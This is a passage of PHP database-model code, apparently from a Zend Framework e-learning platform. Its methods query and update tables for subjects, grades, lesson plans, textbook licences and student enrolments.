        //$select->where(array('CCO_REF_ID' => $arr['CCO_REF_ID']));
        $select->where(array('ORG_ID' => $arr['ORG_ID']));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['GRADE_ID'])) {
            return $data[0]['GRADE_ID'];
        }
        return false;
    }

    function savePullSubject($data) {
        $ID = $this->checkSubjectInDb($data);
        if (!$ID) {
            $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
            $this->table->insert($data);
            return $this->table->lastInsertValue;
        }
        return $ID;
    }

    function savePullCurriculumOutline($data) {
        $ID = $this->checkTopicInDb($data);
        if (!$ID) {
            $this->table = $this->initTableObject('t_b2c_cm_mgr_curriculum_outline');
            $this->table->insert($data);
            return $this->table->lastInsertValue;
        }
        return $ID;
    }

    function savePullLos($data) {
        $ID = $this->checkLoInDb($data);
        if (!$ID) {
            $this->table = $this->initTableObject('t_b2c_cm_cnf_lo');
            $this->table->insert($data);
            return $this->table->lastInsertValue;
        }
        return 1;
    }

    function saveCCOPullGrade($data) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade_import');
        $this->table->insert($data);
        return $this->table->lastInsertValue;
    }

    function checkAtbEntry($lessonplan_id, $book_id) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_ID'));
        $select->where(array('LESSONPLAN_ID' => $lessonplan_id));
        $select->where(array('EXTERNAL_ID' => $book_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['CONT_ID'])) {
            return $data[0]['CONT_ID'];
        }

        return 0;
    }

    function getBookDetailByBookId($book_id) {
        $this->table = $this->initTableObject('t_b2c_eb_cnf_activetextbook');
        $select = $this->table->getSql()->select();
        $select->columns(array('BOOK_NAME', 'BOOK_HASH', 'BOOK_DESCRIPTION', 'BOOK_BACKING_FILE'));
        $select->where(array('BOOK_ID' => $book_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]))
            return $data[0];
        return $data;
    }

    function addAtbBookToContent($lessonplan_id, $book_id) {
        $arr = array();
        $contId = $this->checkAtbEntry($lessonplan_id, $book_id);
        if (!$contId) {
            $arr['LESSONPLAN_ID'] = $lessonplan_id;
            $arr['EXTERNAL_ID'] = $book_id;
            $arr['CONTTYPE_ID'] = '13';
            $arr['CREATED_ON'] = date("Y-m-d H:i:s");
            $arr['CONT_ORDER'] = $this->getContentCountByLpId($lessonplan_id);

            $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
            $this->table->insert($arr);
            return $this->table->lastInsertValue;
        }
        return $contId;
    }

    function getContentCountByLpId($lpId) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->where(array('LESSONPLAN_ID' => $lpId));
        $resultSet = $this->table->selectWith($select);
        return ($resultSet->count() + 1);
    }

    function addPlaceholderContent($lessonplan_id, $placeholder) {

        $arr = array();


        $arr['LESSONPLAN_ID'] = $lessonplan_id;
        $arr['CONT_TITLE'] = $placeholder;
        $arr['CONTTYPE_ID'] = '14';
        $arr['CREATED_ON'] = date("Y-m-d H:i:s");
        $arr['CONT_ORDER'] = $this->getContentCountByLpId($lessonplan_id);
        $arr['IS_PUBLISH'] = 'Y';
        $arr['STATUS'] = 'A';

        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $this->table->insert($arr);

        return $this->table->lastInsertValue;
    }

    //update place holder
    function updatePlaceholderContent($CONT_ID, $placeholder) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $updateData['CONT_TITLE'] = $placeholder;
        $this->table->update($updateData, array(
            'CONT_ID' => $CONT_ID
        ));

        return 1;
    }

    function updateLolTitleContent($CONT_ID, $title) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $updateData['CONT_TITLE'] = $title;
        $this->table->update($updateData, array(
            'CONT_ID' => $CONT_ID
        ));

        return 1;
    }

    function lockTable($tableName) {

        $queryArr = "LOCK TABLE t_b2c_cm_cnf_syllabus";
        $statement = $this->adapter->createStatement($queryArr);
        $statement->prepare();
        $resultSet = $statement->execute();
    }

    function unlockTable() {

        $queryArr = "UNLOCK TABLES";
        $statement = $this->adapter->createStatement($queryArr);
        $statement->prepare();
        $resultSet = $statement->execute();
    }

    public function getQuizIdByContentId($content_id) {
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ID'));
        $select->where(array('CONT_ID' => $content_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['QUIZ_ID'])) {
            return $data[0]['QUIZ_ID'];
        }
        return false;
    }

    public function getTestIdByContentId($content_id) {
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ID'));
        $select->where(array('CONT_ID' => $content_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['QUIZ_ID'])) {
            return $data[0]['QUIZ_ID'];
        }
        return false;
    }

    // Get CONT_VAl By LESSONPLAN_ID AND CONTENT ID
    public function getContVal($lpid, $content_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_requirement');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_VAL'));
        $select->where(array('LESSONPLAN_ID' => $lpid, 'CONT_ID' => $content_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['CONT_VAL'])) {
            return $data[0]['CONT_VAL'];
        }
        return false;
    }

    public function sumQusetion($quizId) {
        $table = $this->initTableObject('t_b2c_mgr_test_question');
        $select = $table->getSql()->select()
                ->columns(array('QUS_MARK' => new \Zend\Db\Sql\Expression('SUM(QUS_MARK)')))
                ->where("QUZ_ID ='$quizId'");
        $resultSet = $table->selectWith($select);
        $row = $resultSet->current();
        if (!$row) {
            return false;
        }
        return $row->QUS_MARK;
    }

    //update content
    function publishUnpublishContent($cont_id, $publish = 'N') {
        //echo "$cont_id,$publish"; die;
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $updateData['IS_PUBLISH'] = $publish;
        return $this->table->update($updateData, array(
                    'CONT_ID' => $cont_id
        ));
    }

    //update content by lession_plan_id
    function publishUnpublishContentByLP($LESSONPLAN_ID, $publish = 'N') {
        $ids = $this->getContIdsByLpId($LESSONPLAN_ID);
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $updateData['IS_PUBLISH'] = $publish;
        return $this->table->update($updateData, array(
                    'LESSONPLAN_ID' => $LESSONPLAN_ID, 'CONT_ID' => $ids
        ));
    }

    function getLicenceOfBooks($book_id, $org_id) {

        $this->table = $this->initTableObject('t_eb_mgr_atb_licence');
        $select = $this->table->getSql()->select();
        $select->columns(array('LICENCE_COPY'));
        $select->join('t_eb_mgr_atb_order', 't_eb_mgr_atb_order.BOOK_ORDER_ID = t_eb_mgr_atb_licence.BOOK_ORDER_ID', array());
        $select->where(array('t_eb_mgr_atb_order.ORG_ID' => $org_id, 't_eb_mgr_atb_licence.BOOK_ID' => $book_id));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $licence = 0;
        if (count($data)) {
            foreach ($data as $val) {
                $licence = $licence + $val['LICENCE_COPY'];
            }
        }
        return $licence;
    }

    function getAllSyllabus($org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.BATCH_ID = t_b2c_cm_cnf_batch.BATCH_ID', array());
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array());
        $select->join('t_b2c_cm_cnf_syllabus', 't_b2c_cm_cnf_syllabus.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('CAT_NAME'));
        $select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $org_id));
        $select->where(array('t_b2c_cm_cnf_batch.CURRENT_FLAG' => '1'));
        $select->where(array('t_b2c_cm_cnf_syllabus.CAT_FLAG' => 'T'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function getAllSyllabusForTeacher($teacher_id) {
        $this->table = $this->initTableObject('t_b2c_usr_assign');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_cnf_syllabus', 't_b2c_cm_cnf_syllabus.SUBJECT_ID = t_b2c_usr_assign.SUBJECT_ID', array('CAT_NAME'));
        $select->where(array('t_b2c_cm_cnf_syllabus.CAT_FLAG' => 'T'));
        $select->where(array('t_b2c_usr_assign.USER_OID' => $teacher_id));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function getAllLPTopicForTeacher($teacher_id) {
        $this->table = $this->initTableObject('t_b2c_usr_assign');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.SUBJECT_ID = t_b2c_usr_assign.SUBJECT_ID', array());
        $select->join('t_b2c_cm_lessonplan_topic', 't_b2c_cm_lessonplan_topic.LESSONPLAN_ID = t_b2c_cm_lessonplan_master.LESSONPLAN_ID', array());
        $select->where(array('t_b2c_usr_assign.USER_OID' => $teacher_id));
        $select->group(array('t_b2c_cm_lessonplan_topic.TOPIC_ID'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function getAllLPTopic($org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.BATCH_ID = t_b2c_cm_cnf_batch.BATCH_ID', array());
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array());
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array());
        $select->join('t_b2c_cm_lessonplan_topic', 't_b2c_cm_lessonplan_topic.LESSONPLAN_ID = t_b2c_cm_lessonplan_master.LESSONPLAN_ID', array());
        $select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $org_id));
        $select->where(array('t_b2c_cm_cnf_batch.CURRENT_FLAG' => '1'));
        $select->group(array('t_b2c_cm_lessonplan_topic.TOPIC_ID'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function getBookOrder($org_id, $type = "book") {
        if ($type == 'book') {
            $query = "SELECT count(DISTINCT(b.BOOK_ID)) as bookorder FROM t_eb_mgr_atb_order a, t_eb_mgr_atb_licence b where b.BOOK_ORDER_ID=a.BOOK_ORDER_ID 
					AND a.ORG_ID=? AND DATE_FORMAT(a.CREATED_ON,'%Y%m') in (SELECT DATE_FORMAT(now(),'%Y%m') FROM dual)";
        } else {
            $query = "SELECT SUM(b.LICENCE_COPY) as licence FROM t_eb_mgr_atb_order a,t_eb_mgr_atb_licence b where b.BOOK_ORDER_ID=a.BOOK_ORDER_ID
					AND  a.ORG_ID=? AND  DATE_FORMAT(a.CREATED_ON,'%Y%m') in (SELECT DATE_FORMAT(now(),'%Y%m') FROM dual)";
        }

        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($org_id));
        return $this->returnPrepareResult($result);
    }

    function getAllRunningClasses($org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.BATCH_ID = t_b2c_cm_cnf_batch.BATCH_ID', array());
        $select->join('t_b2c_cm_cnf_class', 't_b2c_cm_cnf_class.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array());
        $select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $org_id));
        $select->where(array('t_b2c_cm_cnf_batch.CURRENT_FLAG' => '1'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    // get all class of teacher by teacher id
    function listAllSubjects($authDetail) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID', 'GRADE_NAME'));

        if ($authDetail['UT_ID'] == 2) {
            $select->join('t_b2c_usr_assign', 't_b2c_usr_assign.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array());
        } else if ($authDetail['UT_ID'] == 1) {
            $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('TOTAL_STUDENT' => new \Zend\Db\Sql\Expression('COUNT(t_b2c_usr_enrollment.USER_OID)')));
            $select->join('t_usr_user', 't_usr_user.USER_OID = t_b2c_usr_enrollment.USER_OID', array());

            $select->where(array('t_usr_user.USER_STATUS' => 'A'));
        } else {

            $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('TOTAL_STUDENT' => new \Zend\Db\Sql\Expression('COUNT(t_b2c_usr_enrollment.USER_OID)')));
            $select->join('t_usr_user', 't_usr_user.USER_OID = t_b2c_usr_enrollment.USER_OID', array());

            $select->where(array('t_usr_user.USER_STATUS' => 'A'));
        }
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $authDetail['ORG_ID']));
        if ($authDetail['UT_ID'] == 2) {
            $select->where(array('t_b2c_usr_assign.USER_OID' => $authDetail['USER_OID']));
            $select->group('t_b2c_usr_assign.SUBJECT_ID');
        }if ($authDetail['UT_ID'] == 1) {
            $select->group('t_b2c_usr_enrollment.SUBJECT_ID');
        } else {
            $select->group('t_b2c_cm_mgr_subject.SUBJECT_ID');
        }

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    function getAllTeacherAndAdmin($orgId) {

        $this->table = $this->initTableObject('t_usr_user');
        $select = $this->table->getSql()->select();
        $utIds = array(2, 5);
        $select->columns(array('USER_OID'));
        $select->where(array('UT_ID' => $utIds));
        $select->where(array('ORG_ID' => $orgId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $array = array();
        if (count($data)) {
            foreach ($data as $val) {
                $array[] = $val['USER_OID'];
            }
        }
        return $array;
    }

    // get all grade of teacher by teacher id
    function listAllGrades($authDetail) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID', 'GRADE_NAME'));

        if ($authDetail['UT_ID'] == 2) {
            $select->join('t_b2c_usr_assign', 't_b2c_usr_assign.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array());
        }
        if ($authDetail['UT_ID'] == 1) {
            $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('TOTAL_STUDENT' => new \Zend\Db\Sql\Expression('COUNT(t_b2c_usr_enrollment.USER_OID)')));
            $select->join('t_usr_user', 't_usr_user.USER_OID = t_b2c_usr_enrollment.USER_OID', array());
            $select->where(array('t_usr_user.USER_STATUS' => 'A'));
        }


        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $authDetail['ORG_ID']));


        if ($authDetail['UT_ID'] == 2) {
            $select->where(array('t_b2c_usr_assign.USER_OID' => $authDetail['USER_OID']));
        }

        $select->group('t_b2c_cm_mgr_grade.GRADE_ID');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    public function getUsergrade($userId, $subjectId) {
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_ENROLL_ID', 'USER_OID', 'IS_PLACEMENT_TEST', 'USER_ENROLL_ID', 'ENROLLMENT_NUM', 'ROLL_NUM', 'CREATED_ON'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('GRADE_NAME', 'GRADE_ID'));
        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $userId));
        $select->where(array('t_b2c_cm_mgr_subject.SUBJECT_ID' => $subjectId));
        //$select->group('t_b2c_cm_mgr_grade.GRADE_ID');

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
//        $finalData = array();
//        if (count($data)) {
//            foreach ($data as $key => $val) {
//                $finalData[$val['GRADE_ID']]['GRADE_ID'] = $val['GRADE_ID'];
//                $finalData[$val['GRADE_ID']]['GRADE_NAME'] = $val['GRADE_NAME'];
//                $finalData[$val['GRADE_ID']]['IS_PLACEMENT_TEST'] = $val['IS_PLACEMENT_TEST'];
//                $finalData[$val['GRADE_ID']]['USER_OID'] = $val['USER_OID'];
//            }
//        }
        return $data[0];
    }

    function listAllSubjectsForTeacher($teacher_id, $quiz_id) {
        $this->table = $this->initTableObject('t_b2c_usr_assign');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_usr_assign.SUBJECT_ID', array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID', 'GRADE_NAME'));
        //$select->join('t_b2c_cm_cnf_section', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_cnf_section.GRADE_ID', array('SECTION_ID', 'SECTION_NAME'));
        $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('TOTAL_STUDENT' => new \Zend\Db\Sql\Expression('COUNT(t_b2c_usr_enrollment.USER_OID)')));
        $select->join('t_usr_user', 't_usr_user.USER_OID = t_b2c_usr_enrollment.USER_OID', array(), 'left');
        $select->where(array('t_b2c_usr_assign.USER_OID' => $teacher_id));
        $select->where(array('t_usr_user.USER_STATUS' => 'A'));
        $select->group('t_b2c_usr_assign.SUBJECT_ID');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $newArr = array();
        if (count($data)) {
            foreach ($data as $key => $val) {

                $newArr[$key] = $val;
                $newArr[$key]['SECTION_NAME'] = ''; //$this->getSectionName($val['SECTION_ID']);
            }
        }

        return $newArr;
    }

    function getSectionName($section_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_section');
        $select = $this->table->getSql()->select();
        $select->where(array('SECTION_ID' => $section_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['SECTION_NAME'])) {
            return $data[0]['SECTION_NAME'];
        }
        return false;
    }

    function getAllSubjectsForTeacher($teacher_id) {
        $this->table = $this->initTableObject('t_b2c_usr_assign');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_usr_assign.SUBJECT_ID', array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID', 'GRADE_NAME'));
        $select->where(array('t_b2c_usr_assign.USER_OID' => $teacher_id));
        $select->group('t_b2c_usr_assign.SUBJECT_ID');
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    //get all students by class
    function getAllStudentsByClass($classId, $org_id, $allFields = true) {
        $this->table = $this->initTableObject('t_usr_user');
        $select = $this->table->getSql()->select();

        if (!$allFields)
            $select->columns(array('USER_OID'));

        $select->join('t_b2c_usr_enrollment', 't_usr_user.USER_OID = t_b2c_usr_enrollment.USER_OID', array());
        $select->where(array('t_usr_user.ORG_ID' => $org_id));
        $select->where(array('t_usr_user.UT_ID' => 1));
        $select->where(array('t_usr_user.USER_STATUS' => 'A'));
        $select->where(array('t_b2c_usr_enrollment.CLASS_ID' => $classId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //get book Hash by content id
    function getBookHashByContId($contId) {
        $bookHash = '';
        $this->table = $this->initTableObject('t_b2c_eb_cnf_activetextbook');
        $select = $this->table->getSql()->select();
        $select->columns(array('BOOK_HASH'));
        $select->join('t_b2c_cm_cnf_content', 't_b2c_eb_cnf_activetextbook.BOOK_ID = t_b2c_cm_cnf_content.EXTERNAL_ID', array());
        $select->where(array('t_b2c_cm_cnf_content.CONT_ID' => $contId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['BOOK_HASH'])) {
            $bookHash = $data[0]['BOOK_HASH'];
        }
        return $bookHash;
    }

    // Get All locked LP of user 
    public function getAllLockLpByUserId($user_oid, $org_id, $SubjectId = NULL, $blockedSubArr = null) {
        //return array();
        //print_r($blockedSubArr);die;
        $timestamp = array("1970-01-01", "0000-00-00");
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_OID'));
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.SUBJECT_ID = t_b2c_usr_enrollment.SUBJECT_ID', array('LP_NAME', 'LESSONPLAN_ID', 'UNLOCK_ON'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_usr_enrollment.SUBJECT_ID', array('SUBJECT_ID', 'GRADE_ID'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array());

        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));
        if (!empty($SubjectId)) {
            $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $SubjectId));
        }
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));

        if (!empty($blockedSubArr) && count($blockedSubArr)) {
            //$select->where->addPredicate(new \Zend\Db\Sql\Predicate\Expression('t_b2c_cm_lessonplan_master.SUBJECT_ID NOT IN (?)', array($blockedSubArr)));
            $select->where->notIn('t_b2c_cm_lessonplan_master.SUBJECT_ID', $blockedSubArr);
        }

        //$select->where->addPredicate(new \Zend\Db\Sql\Predicate\Expression('t_b2c_cm_lessonplan_master.UNLOCK_ON NOT IN (?)', array($timestamp)));

        $select->where->notIn('t_b2c_cm_lessonplan_master.SUBJECT_ID', $timestamp);


        $select->where->isNotNull('t_b2c_cm_lessonplan_master.UNLOCK_ON');
        $select->group('t_b2c_cm_lessonplan_master.LESSONPLAN_ID');
        $resultSet = $this->table->selectWith($select);
        //echo $select->getSqlString();die; //check query use this line
        $data = $resultSet->toarray();
        return $data;
    }

    // Get All locked LP of teacher 
    public function getAllLockLpForTeacher($user_oid, $org_id, $SubjectId = NULL) {

        $timestamp = array("1970-01-01", "0000-00-00");
        $this->table = $this->initTableObject('t_b2c_usr_assign');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_OID'));
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.SUBJECT_ID = t_b2c_usr_assign.SUBJECT_ID', array('LP_NAME', 'LESSONPLAN_ID', 'UNLOCK_ON'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_lessonplan_master.SUBJECT_ID', array('SUBJECT_ID', 'GRADE_ID'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array());


        $select->where(array('t_b2c_usr_assign.USER_OID' => $user_oid));
        if (!empty($SubjectId)) {
            $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $SubjectId));
        }

        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));
        $select->where->addPredicate(new \Zend\Db\Sql\Predicate\Expression('t_b2c_cm_lessonplan_master.UNLOCK_ON NOT IN (?)', array($timestamp)));
        $select->where->isNotNull('t_b2c_cm_lessonplan_master.UNLOCK_ON');
        $select->group('t_b2c_cm_lessonplan_master.LESSONPLAN_ID');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    // Get All locked LP of Admin 
    public function getAllLockLpForAdmin($user_oid, $org_id, $SubjectId = null) {
        $timestamp = array("1970-01-01", "0000-00-00");
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LP_NAME', 'LESSONPLAN_ID', 'SUBJECT_ID', 'UNLOCK_ON'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_lessonplan_master.SUBJECT_ID', array('SUBJECT_ID', 'GRADE_ID'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array());
        //$select->join('t_b2c_cm_cnf_batch', 't_b2c_cm_cnf_batch.BATCH_ID = t_b2c_cm_mgr_grade.BATCH_ID', array('ORG_ID'));


        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));
        if (!empty($SubjectId)) {
            $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $SubjectId));
        }
        //$select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $org_id));
        $select->where->addPredicate(new \Zend\Db\Sql\Predicate\Expression('t_b2c_cm_lessonplan_master.UNLOCK_ON NOT IN (?)', array($timestamp)));
        $select->where->isNotNull('t_b2c_cm_lessonplan_master.UNLOCK_ON');
        $select->group('t_b2c_cm_lessonplan_master.LESSONPLAN_ID');

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    // Get All content id of user 
    public function getAllContentOfUser($user_oid) {
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID'));
        //$select->join('t_b2c_cm_cnf_class', 't_b2c_cm_cnf_class.CLASS_ID = t_b2c_usr_enrollment.CLASS_ID',array('CLASS_NAME')); 
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.SUBJECT_ID = t_b2c_usr_enrollment.SUBJECT_ID', array());
        $select->join('t_b2c_cm_cnf_content', 't_b2c_cm_cnf_content.LESSONPLAN_ID = t_b2c_cm_lessonplan_master.LESSONPLAN_ID', array('CONT_ID'));

        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));
        $select->where(array('t_b2c_cm_cnf_content.STATUS' => 'A'));
        $select->where(array('t_b2c_cm_cnf_content.IS_PUBLISH' => 'Y'));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $arr = array();
        if (count($data)) {
            foreach ($data as $val) {
                $arr[] = $val['CONT_ID'];
            }
        }
        return array_unique($arr);
    }

    // Get all class of student 
    public function getAllSubjectOfUser($user_oid, $student_block_book_subjectId) {
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID'));
        $select->where(array('USER_OID' => $user_oid));
        // $select->where->addPredicate(new \Zend\Db\Sql\Predicate\Expression('t_b2c_usr_enrollment.SUBJECT_ID NOT IN (?)', $student_block_book_subjectId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $arr = array();
        if (count($data)) {
            foreach ($data as $val) {
                $arr[] = $val['SUBJECT_ID'];
            }
        }
        return array_unique($arr);
    }

    public function getAllStudentBookIds($subjects, $orgId = null) {
        $subjects[] = 0;
        $this->table = $this->initTableObject('t_b2c_cm_cnf_studentbook');
        $select = $this->table->getSql()->select();
        $select->columns(array('BOOK_ID'));
        $select->where(array('SUBJECT_ID' => $subjects, 'ORG_ID' => $orgId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $arr = array();
        if (count($data)) {
            foreach ($data as $val) {
                $arr[] = $val['BOOK_ID'];
            }
        }
        return implode(",", $arr);
    }

    public function checkBookAccess($book_id, $subjects, $org_id) {
        $subjects[] = 0;
        //echo "$book_id, $org_id"; print_r($subjects);die;
        $this->table = $this->initTableObject('t_b2c_cm_cnf_studentbook');
        $select = $this->table->getSql()->select();
        $select->where(array('BOOK_ID' => $book_id));
        $select->where(array('ORG_ID' => $org_id));
        $select->where(array('SUBJECT_ID' => $subjects));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return count($data);
    }

    public function getAllSubjectListOfUser($user_oid, $grade_id) {
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_usr_enrollment.SUBJECT_ID', array('SUBJECT_ID', 'SUBJECT_NAME'), 'left');

        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));

        if (!empty($grade_id)) {
            //$select->columns(array('GRADE_ID'));
            $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        }
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
